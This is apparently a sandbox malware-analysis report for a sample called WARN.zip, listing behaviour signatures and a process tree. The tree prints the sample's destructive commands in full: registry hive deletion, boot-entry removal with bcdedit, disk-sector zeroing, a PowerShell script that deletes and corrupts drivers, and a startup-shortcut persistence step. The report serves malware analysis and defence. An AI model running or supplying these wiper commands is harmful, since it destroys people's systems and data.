Resubmissions

01/06/2026, 05:20

260601-f1f4eacx9s

01/06/2026, 04:58

260601-fl152aey2q10

Analysis

  • user interaction
    yes
  • max time kernel
    268s
  • max time network
    290s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/06/2026, 04:58

General

  • Target
    WARN.zip
  • Size 3.8MB
  • Sample260601-fl152aey2q
  • SHA256 6492ea0b128804ec765e0a860ee5f92a0ceee88280888dfe53fec80aca436e39
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies firewall policy service 3 TTPs 16 IoCs
  • Modifies security service 2 TTPs 8 IoCs
  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

  • Boot or Logon Autostart Execution: Print Processors 1 TTPs 2 IoCs

    Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.

  • Drops startup file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Impair Defenses: Safe Mode Boot 1 TTPs 6 IoCs
  • Modifies system executable filetype association 2 TTPs 46 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 3 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks SCSI registry key(s) 3 TTPs 59 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\WARN.zip
    1⤵
      PID:1740
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:752
      • C:\Users\Admin\Desktop\WARN\net8.0\Runtime Broker.exe
        "C:\Users\Admin\Desktop\WARN\net8.0\Runtime Broker.exe"
        1⤵
        • Drops file in System32 directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -Command " $shell = New-Object -ComObject WScript.Shell $shortcut = $shell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.lnk') $shortcut.TargetPath = 'C:\Users\Admin\Desktop\WARN\net8.0\Runtime Broker.exe' $shortcut.WorkingDirectory = 'C:\Users\Admin\Desktop\WARN\net8.0' $shortcut.Save() "
          2⤵
          • Drops startup file
          • Command and Scripting Interpreter: PowerShell
          • System Time Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4832
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c dd if=/dev/zero of=/dev/sda bs=446 count=1
          2⤵
            PID:3184
          • C:\Windows\SYSTEM32\reg.exe
            "reg.exe" delete HKLM\SYSTEM /f
            2⤵
            • Modifies firewall policy service
            • Modifies security service
            • Boot or Logon Autostart Execution: Port Monitors
            • Boot or Logon Autostart Execution: Print Processors
            • Impair Defenses: Safe Mode Boot
            • Maps connected drives based on registry
            • System Location Discovery: System Language Discovery
            • Checks SCSI registry key(s)
            • Modifies registry key
            PID:116
          • C:\Windows\SYSTEM32\reg.exe
            "reg.exe" delete HKLM\SOFTWARE /f
            2⤵
            • Modifies system executable filetype association
            • Modifies registry class
            • Modifies registry key
            PID:2088
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit.exe" /delete {current} /f
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:2520
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $driverPaths = @('c:\windows\system32\drivers\*.sys') foreach ($driver in $driverPaths) { if (Test-Path $driver) { Remove-Item $driver -Force } } # Attempt to corrupt video driver $videoDriver = 'C:\Windows\System32\drivers\dxgkrnl.sys' if (Test-Path $videoDriver) { $bytes = New-Object byte[] 1024 [Random]::new().NextBytes($bytes) [System.IO.File]::WriteAllBytes($videoDriver, $bytes) } "
            2⤵
              PID:3196
            • C:\Windows\SYSTEM32\diskpart.exe
              "diskpart.exe" /s C:\destroy_recovery.txt
              2⤵
                PID:3984
            • C:\Windows\system32\usoclient.exe
              C:\Windows\system32\usoclient.exe ReportPolicies
              1⤵
                PID:2340

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_3nph4p3f.ez1.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3nph4p3f.ez1.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    memory/3196-15-0x00000228BC430000-0x00000228BC466000-memory.dmp

                    memory/4832-0-0x000001FAAF300000-0x000001FAAF322000-memory.dmp